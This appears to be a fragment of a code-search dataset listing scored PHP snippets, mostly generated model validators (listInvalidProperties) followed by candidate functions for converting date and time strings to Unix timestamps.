$allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'tran_type', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getStatusAllowableValues();\n if (!is_null($this->container['status']) && !in_array($this->container['status'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'status', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getDisbReceiptAllowableValues();\n if (!is_null($this->container['disb_receipt']) && !in_array($this->container['disb_receipt'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'disb_receipt', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "490c3806e4ef13d95b02a7444baa82fa", "score": "0.7656561", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n $allowedValues = $this->getTypeAllowableValues();\n if (!is_null($this->container['type']) && !in_array($this->container['type'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'type', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getStatusAllowableValues();\n if (!is_null($this->container['status']) && !in_array($this->container['status'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'status', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "9c9c2488e009c5df558616c9b99759f0", "score": "0.76518965", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n return $invalidProperties;\n }", "title": "" }, { "docid": "9c9c2488e009c5df558616c9b99759f0", "score": "0.76518965", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n return $invalidProperties;\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "d214a1128d588571b3bdb8ead012eef4", "score": "0.763543", "text": "public function listInvalidProperties()\r\n {\r\n $invalidProperties = [];\r\n return $invalidProperties;\r\n }", "title": "" }, { "docid": "cc34dd643110606a4ddc818387500740", "score": "0.76330495", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n $allowedValues = $this->getStartReminderCounterFromAllowableValues();\n if (!is_null($this->container['startReminderCounterFrom']) && !in_array($this->container['startReminderCounterFrom'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'startReminderCounterFrom', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getFrequencyAllowableValues();\n if (!is_null($this->container['frequency']) && !in_array($this->container['frequency'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'frequency', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getStatusAllowableValues();\n if (!is_null($this->container['status']) && !in_array($this->container['status'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'status', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "d7c626151d7d5340325b9d6d4d3b74dd", "score": "0.7625402", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n $allowedValues = $this->getTypeAllowableValues();\n if (!is_null($this->container['type']) && !in_array($this->container['type'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'type', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getCalculateOnAllowableValues();\n if (!is_null($this->container['calculate_on']) && !in_array($this->container['calculate_on'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'calculate_on', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getCashDiscountAllowableValues();\n if (!is_null($this->container['cash_discount']) && !in_array($this->container['cash_discount'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'cash_discount', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "91f8142eedd372aaf6304b8b86f63887", "score": "0.76007116", "text": "public function listInvalidProperties()\n {\n $invalidProperties = parent::listInvalidProperties();\n\n $allowedValues = $this->getUpscaleFactorAllowableValues();\n if (!is_null($this->container['upscale_factor']) && !in_array($this->container['upscale_factor'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'upscale_factor', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getFormatAllowableValues();\n if (!is_null($this->container['format']) && !in_array($this->container['format'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'format', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "39e6082aa30f6628401b34d7e06c271d", "score": "0.7598464", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n $allowedValues = $this->getAddManagedByTypeAllowableValues();\n if (!is_null($this->container['add_managed_by_type']) && !in_array($this->container['add_managed_by_type'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'add_managed_by_type', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getGenderAllowableValues();\n if (!is_null($this->container['gender']) && !in_array($this->container['gender'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'gender', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n $allowedValues = $this->getIdentityTypeAllowableValues();\n if (!is_null($this->container['identity_type']) && !in_array($this->container['identity_type'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value for 'identity_type', must be one of '%s'\",\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "5127fa05322a987518ceda077acc39ee", "score": "0.7595266", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n if ($this->container['search_text'] === null) {\n $invalidProperties[] = \"'search_text' can't be null\";\n }\n if ($this->container['currency_code'] === null) {\n $invalidProperties[] = \"'currency_code' can't be null\";\n }\n $allowedValues = $this->getCurrencyCodeAllowableValues();\n if (!is_null($this->container['currency_code']) && !in_array($this->container['currency_code'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value '%s' for 'currency_code', must be one of '%s'\",\n $this->container['currency_code'],\n implode(\"', '\", $allowedValues)\n );\n }\n\n if ($this->container['language_code'] === null) {\n $invalidProperties[] = \"'language_code' can't be null\";\n }\n $allowedValues = $this->getLanguageCodeAllowableValues();\n if (!is_null($this->container['language_code']) && !in_array($this->container['language_code'], $allowedValues, true)) {\n $invalidProperties[] = sprintf(\n \"invalid value '%s' for 'language_code', must be one of '%s'\",\n $this->container['language_code'],\n implode(\"', '\", $allowedValues)\n );\n }\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" }, { "docid": "ec13eec935135acf2f7582139f3a08c4", "score": "0.75938106", "text": "public function listInvalidProperties()\n {\n $invalidProperties = [];\n\n return $invalidProperties;\n }", "title": "" } ]
43b10dc23c823aa6fb95e0b02c01b3fe
Converts a bank time string to a unix time stamp
[ { "docid": "2c14969e0e7ce806bf2a986545200580", "score": "0.6250958", "text": "function _bankDateToTime($bankDate) {\n\t$parts = explode(\"/\", $bankDate);\n\n\t$day = $parts[0];\n\t$month = $parts[1];\n\t$year = $parts[2];\n\tif(strlen($year) == 2) {\n\t\t$year = \"20\" . $year;\n\t}\n\t$australianTime = $day . \"-\" . $month . \"-\" . $year;\n\treturn strtotime($australianTime);\n}", "title": "" } ]
[ { "docid": "b067d4b18e4385d69209c438082a792f", "score": "0.676428", "text": "function UnixToTime($input){\n\t\t$datum = date(\"d.m.Y\", $input);\n\t\t$zeit = date(\"H:i:s\", $input);\n\t\t\n\t\t$timestring = \"$datum $zeit\";\n\t\t\t\t\n\t\treturn $timestring;\n\t}", "title": "" }, { "docid": "445708ca4415194d682cd017752541dd", "score": "0.66942245", "text": "function time_to_unixtime ($timestamp)\n {\n $year=substr($timestamp,0,4);\n $month=substr($timestamp,4,2);\n $day=substr($timestamp,6,2);\n $hour=substr($timestamp,8,2);\n $minute=substr($timestamp,10,2);\n $unixtime=mktime($hour,$minute,00,$month,$day,$year);\n\n return $unixtime;\n }", "title": "" }, { "docid": "a99393a5ada19049a12e0aff406368aa", "score": "0.6528191", "text": "function import_users_fuckedup_kms_time2unix($kms_time) {\n $t = explode('/', $kms_time);\n return strtotime(\n implode('/', array($t[1], $t[0], $t[2]))\n );\n}", "title": "" }, { "docid": "55ba9fc51ddd6ed24084f1a394a2fd3f", "score": "0.64399296", "text": "function unixTm($strDT)\n{ \n\t$arrDT = explode(\" \", $strDT); \n\t$arrD = explode(\"-\", $arrDT[0]); \n\t$arrT = explode(\":\", $arrDT[1]);\n\t\n\t/*print_r($arrDT);\n\techo \"<br>\";\n\tprint_r($arrD);\n\techo \"<br>\";\t\n\tprint_r($arrT);\n\techo \"<br>\";*/\n\t\n\treturn mktime($arrT[0], $arrT[1], $arrT[2], $arrD[1], $arrD[2], $arrD[0]); \n}", "title": "" }, { "docid": "64df4ef50a07cf34f9bfe3f97b1b6a76", "score": "0.63235676", "text": "function date_str_to_timestamp($date,$time)\n\t\t{\n\t\t\t$date = trim($date);\n\t\t\t$time = trim($time);\n\t\t\t$da = explode('-',$date);\n\t\t\t$ti = explode(':',$time);\n\t\t\treturn pmktime($ti[0],$ti[1],1,$da[1],$da[2],$da[0]);\n\t\t}", "title": "" }, { "docid": "b9ec9c447516b752fa36fec79c3caeb8", "score": "0.62608856", "text": "function strToTimestamp($time) {\r\n return strtotime(\"1-Jan-2004 \" . $time);\r\n }", "title": "" }, { "docid": "75988b4feab2a74882ff436f920d0281", "score": "0.62125546", "text": "function format_user_time_sec($usertimezone,$timestring,$format=\"n/j/y g:i:s a T\") {\n //todo: check if timestring is GMT, if not add +00 to end\n $unixtimestamp = strtotime($timestring);\n $do = new DateTime('@'.$unixtimestamp);\n $dtzo = new DateTimeZone($usertimezone);\n $do->setTimezone($dtzo);\n return $do->format($format);\n}", "title": "" }, { "docid": "bcadee9a0e561291605e593ca5c8408f", "score": "0.61953115", "text": "function convert_datetime($str) { \t\n\t list($date, $time) = explode(' ', $str); \n\t list($year, $month, $day) = explode('-', $date); \n\t list($hour, $minute, $second) = explode(':', $time); \n\t \n\t $timestamp = mktime($hour, $minute, $second, $month, $day, $year); \t \n\t return $timestamp; \n\t}", "title": "" }, { "docid": "969e8da1d7d4bc1969cff34f495919d3", "score": "0.61750096", "text": "function convert_datetime_to_timestamp($str)\n{\n\n list($date, $time) = explode(' ', $str);\n list($year, $month, $day) = explode('-', $date);\n list($hour, $minute, $second) = explode(':', $time);\n\n $timestamp = mktime($hour, $minute, $second, $month, $day, $year);\n\n return $timestamp;\n}", "title": "" }, { "docid": "b2711aab70d3d855a4d4ff203ba15078", "score": "0.6169389", "text": "public static function UnixTimeToLDAPTime($time): string\n {\n $ADToUnixConverter = ((1970 - 1601) * 365 - 3 + round((1970 - 1601) / 4)) * 86400;\n $secsAfterADEpoch = intval($ADToUnixConverter + $time);\n return $secsAfterADEpoch * 10000000;\n }", "title": "" }, { "docid": "6a8a0faa7bec7c054f53e767414dfcd4", "score": "0.61539555", "text": "function rssToTime($rss_time) {\n $day = substr($rss_time, 5, 2);\n $month = substr($rss_time, 8, 3);\n $month = date('m', strtotime(\"$month 1 2011\"));\n $year = substr($rss_time, 12, 4);\n $hour = substr($rss_time, 17, 2);\n $min = substr($rss_time, 20, 2);\n $second = substr($rss_time, 23, 2);\n $timezone = substr($rss_time, 26);\n $timestamp = mktime($hour, $min, $second, $month, $day, $year);\n date_default_timezone_set('UTC');\n if(is_numeric($timezone)) {\n $hours_mod = $mins_mod = 0;\n $modifier = substr($timezone, 0, 1);\n $hours_mod = (int) substr($timezone, 1, 2);\n $mins_mod = (int) substr($timezone, 3, 2);\n $hour_label = $hours_mod>1 ? 'hours' : 'hour';\n $strtotimearg = $modifier.$hours_mod.' '.$hour_label;\n if($mins_mod) {\n $mins_label = $mins_mod>1 ? 'minutes' : 'minute';\n $strtotimearg .= ' '.$mins_mod.' '.$mins_label;\n }\n $timestamp = strtotime($strtotimearg, $timestamp);\n }\n return $timestamp;\n\t}", "title": "" }, { "docid": "6ac0a6a62f014005e4626e264b30fa7d", "score": "0.60920227", "text": "private function dateToUnix()\r\r\n\t{\r\r\n\t\tif (preg_match('/[BbCcDEeFfIJKkLlMNOoPpQqRrSTtUuVvWwXxZz]+/', $this->strFormat))\r\r\n\t\t{\r\r\n\t\t\tthrow new Exception(sprintf('Invalid date format \"%s\"', $this->strFormat));\r\r\n\t\t}\r\r\n\r\r\n\t\t$intCount = 0;\r\r\n\t\t$intDay = '';\r\r\n\t\t$intMonth = '';\r\r\n\t\t$intYear = '';\r\r\n\t\t$intHour = '';\r\r\n\t\t$intMinute = '';\r\r\n\t\t$intSecond = '';\r\r\n\r\r\n\t\t$blnMeridiem = false;\r\r\n\t\t$blnCorrectHour = false;\r\r\n\r\r\n\t\t$arrCharacterMapper = array\r\r\n\t\t(\r\r\n\t\t\t'd' => 'intDay',\r\r\n\t\t\t'j' => 'intDay',\r\r\n\t\t\t'm' => 'intMonth',\r\r\n\t\t\t'n' => 'intMonth',\r\r\n\t\t\t'y' => 'intYear',\r\r\n\t\t\t'Y' => 'intYear',\r\r\n\t\t\t'h' => 'intHour',\r\r\n\t\t\t'H' => 'intHour',\r\r\n\t\t\t'g' => 'intHour',\r\r\n\t\t\t'G' => 'intHour',\r\r\n\t\t\t'i' => 'intMinute',\r\r\n\t\t\t's' => 'intSecond'\r\r\n\t\t);\r\r\n\r\r\n\t\t$arrCharacters = str_split($this->strFormat);\r\r\n\r\r\n\t\tforeach ($arrCharacters as $strCharacter)\r\r\n\t\t{\r\r\n\t\t\t$var = array_key_exists($strCharacter, $arrCharacterMapper) ? $arrCharacterMapper[$strCharacter] : 'dummy';\r\r\n\r\r\n\t\t\tswitch ($strCharacter)\r\r\n\t\t\t{\r\r\n\t\t\t\tcase 'a':\r\r\n\t\t\t\tcase 'A':\r\r\n\t\t\t\t\t$blnCorrectHour = true;\r\r\n\t\t\t\t\t$blnMeridiem = (strtolower(substr($this->intTstamp, $intCount, 2)) == 'pm') ? true : false;\r\r\n\t\t\t\t\t$intCount += 2;\r\r\n\t\t\t\t\tbreak;\r\r\n\r\r\n\t\t\t\tcase 'd':\r\r\n\t\t\t\tcase 'm':\r\r\n\t\t\t\tcase 'y':\r\r\n\t\t\t\tcase 'h':\r\r\n\t\t\t\tcase 'H':\r\r\n\t\t\t\tcase 'i':\r\r\n\t\t\t\tcase 's':\r\r\n\t\t\t\t\t$$var .= substr($this->intTstamp, $intCount, 2);\r\r\n\t\t\t\t\t$intCount += 2;\r\r\n\t\t\t\t\tbreak;\r\r\n\r\r\n\t\t\t\tcase 'j':\r\r\n\t\t\t\tcase 'n':\r\r\n\t\t\t\tcase 'g':\r\r\n\t\t\t\tcase 'G':\r\r\n\t\t\t\t\t$$var .= substr($this->intTstamp, $intCount++, 1);\r\r\n\r\r\n\t\t\t\t\tif (preg_match('/[0-9]+/i', substr($this->intTstamp, $intCount, 1)))\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t$$var .= substr($this->intTstamp, $intCount++, 1);\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\tbreak;\r\r\n\r\r\n\t\t\t\tcase 'Y':\r\r\n\t\t\t\t\t$$var .= substr($this->intTstamp, $intCount, 4);\r\r\n\t\t\t\t\t$intCount += 4;\r\r\n\t\t\t\t\tbreak;\r\r\n\r\r\n\t\t\t\tdefault:\r\r\n\t\t\t\t\t++$intCount;\r\r\n\t\t\t\t\tbreak;\r\r\n\t\t\t}\r\r\n\t\t}\r\r\n\r\r\n\t\t$intHour = (int) $intHour;\r\r\n\r\r\n\t\tif ($blnMeridiem)\r\r\n\t\t{\r\r\n\t\t\t$intHour += 12;\r\r\n\t\t}\r\r\n\r\r\n\t\tif ($blnCorrectHour && ($intHour == 12 || $intHour == 24))\r\r\n\t\t{\r\r\n\t\t\t$intHour -= 12;\r\r\n\t\t}\r\r\n\r\r\n\t\tif (!strlen($intMonth))\r\r\n\t\t{\r\r\n\t\t\t$intMonth = 1;\r\r\n\t\t}\r\r\n\r\r\n\t\tif (!strlen($intDay))\r\r\n\t\t{\r\r\n\t\t\t$intDay = 1;\r\r\n\t\t}\r\r\n\r\r\n\t\t$this->intTstamp = mktime((int) $intHour, (int) $intMinute, (int) $intSecond, (int) $intMonth, (int) $intDay, (int) $intYear);\r\r\n\t}", "title": "" }, { "docid": "c216f9e3015b34c3b1742ee186441273", "score": "0.6085809", "text": "function time($ldapTime) {\n\t\t$unixTime = 0;\n\t\t$pat = '/^([0-9]{4,4})([0-9]{2,2})([0-9]{2,2})([0-9]{2,2})([0-9]{2,2})([0-9]{2,2}).*/';\n\n\t\tif(preg_match($pat, $ldapTime, $matches) > 0) {\n\t\t\t$unixTime = gmmktime($matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1]);\n\t\t}\n\t\treturn gmdate(\"Y-m-d\\TH:i:s\", $unixTime);\n\t}", "title": "" }, { "docid": "eb38b8965fa8e6a26432d483ced123e3", "score": "0.6071032", "text": "function UnixTime($mysql_timestamp) {\n\tif (preg_match('/(\\d{4})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})/', $mysql_timestamp, $pieces)\n\t || preg_match('/(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})/', $mysql_timestamp, $pieces)) {\n\t $unix_time = mktime($pieces[4], $pieces[5], $pieces[6], $pieces[2], $pieces[3], $pieces[1]);\n\t} elseif (preg_match('/\\d{4}\\-\\d{2}\\-\\d{2} \\d{2}:\\d{2}:\\d{2}/', $mysql_timestamp)\n\t || preg_match('/\\d{2}\\-\\d{2}\\-\\d{2} \\d{2}:\\d{2}:\\d{2}/', $mysql_timestamp)\n\t || preg_match('/\\d{4}\\-\\d{2}\\-\\d{2}/', $mysql_timestamp)\n\t || preg_match('/\\d{2}\\-\\d{2}\\-\\d{2}/', $mysql_timestamp)) {\n\t $unix_time = strtotime($mysql_timestamp);\n\t} elseif (preg_match('/(\\d{4})(\\d{2})(\\d{2})/', $mysql_timestamp, $pieces)\n\t || preg_match('/(\\d{2})(\\d{2})(\\d{2})/', $mysql_timestamp, $pieces)) {\n\t $unix_time = mktime(0, 0, 0, $pieces[2], $pieces[3], $pieces[1]);\n\t} else {\n\t\t$unix_time = 0;\n\t}\n\treturn $unix_time;\n}", "title": "" }, { "docid": "9f6c0e32dfd4b792cf7a4905156647dc", "score": "0.60538965", "text": "function simphp_str2time($datetime) {\r\n return strtotime($datetime);\r\n}", "title": "" }, { "docid": "d7f8ce2f9ebd3a65c550ad6e8fdc8e1e", "score": "0.6047928", "text": "function mysql_to_unix($time = ''): int\n {\n // We'll remove certain characters for backward compatibility\n // since the formatting changed with MySQL 4.1\n // YYYY-MM-DD HH:MM:SS\n\n $time = str_replace(['-', ':', ' '], '', $time);\n\n // YYYYMMDDHHMMSS\n return mktime(\n substr($time, 8, 2),\n substr($time, 10, 2),\n substr($time, 12, 2),\n substr($time, 4, 2),\n substr($time, 6, 2),\n substr($time, 0, 4)\n );\n }", "title": "" }, { "docid": "7991be4b900319f7fd9361a998c110fc", "score": "0.603565", "text": "abstract protected function convertRemoteValueToTimestamp($string, $withTime);", "title": "" }, { "docid": "e8c60420c56f3533c6634a647cd3390c", "score": "0.6030018", "text": "function timeToTimestamp($time, $baselineTimestamp) \n\t{\n\t\t$hours = (int)substr($time,0,2);\n\t\t$minutes = (int)substr($time,3,2);\n\t\t$seconds = (int)substr($time,6,2);\n\t\n\t\t$relativeTimestamp = 0;\n\t\t$relativeTimestamp += 3600*$hours;\n\t\t$relativeTimestamp += 60*$minutes;\n\t\t$relativeTimestamp += $seconds;\n\t\t\n\t\treturn ($baselineTimestamp + $relativeTimestamp);\n\t}", "title": "" }, { "docid": "c6b7d7ba9adf995b0efe813641c8b4d8", "score": "0.60271245", "text": "public static function LDAPTimeToUnixTime($time): string\n {\n $secsAfterADEpoch = $time / 10000000;\n $ADToUnixConverter = ((1970 - 1601) * 365 - 3 + round((1970 - 1601) / 4)) * 86400;\n\n return intval($secsAfterADEpoch - $ADToUnixConverter);\n }", "title": "" }, { "docid": "cd461d9476dc7d15c397c77df084fea4", "score": "0.59033114", "text": "function safeStrToTime($date_string) {\r\n\tif (version_compare(PHP_VERSION,'5.1.0','>=')) return strtotime($date_string); //5.1.0+ handles pre-1970 dates\r\n\t$base_time = 0;\r\n\tif (preg_match ('/19(\\d\\d)/', $date_string, $m) && ($m[1] < 70)) {\r\n\t\t$date_string = preg_replace ('/19\\d\\d/', 1900 + $m[1]+68, $date_string);\r\n\t\t$base_time = 0x80000000 + 1570448; //turn the value negative\r\n\t}\r\n\treturn $base_time + strtotime($date_string);\r\n}", "title": "" }, { "docid": "17297f6d756d9b3bcd9f29144050be51", "score": "0.5893402", "text": "static function toUnixDate($datetime)\r\n\t{\r\n\t\t\t$year = substr($datetime,0,4);\r\n\t\t\t$month = substr($datetime,5,2);\r\n\t\t\t$day = substr($datetime,8,2);\r\n\r\n\t\t\treturn mktime(0, 0, 0, $month, $day, $year);\r\n\t}", "title": "" }, { "docid": "0401339bb8479a053e7955f93eb3f342", "score": "0.5868545", "text": "public static function TimeConverter($string)\n {\n $raw_time = str_replace(' ', '', $string);\n $time_use = substr($raw_time, 0, -2);\n $time = Carbon::parse($time_use);\n $time_phase = substr($string,-2);\n $time_phase == \"PM\" ? $time=$time->addHours(12): $time=$time->addHours(0);\n\n return $time;\n }", "title": "" }, { "docid": "e0e1b1c71118978fe8666627e5d35f02", "score": "0.5864094", "text": "function 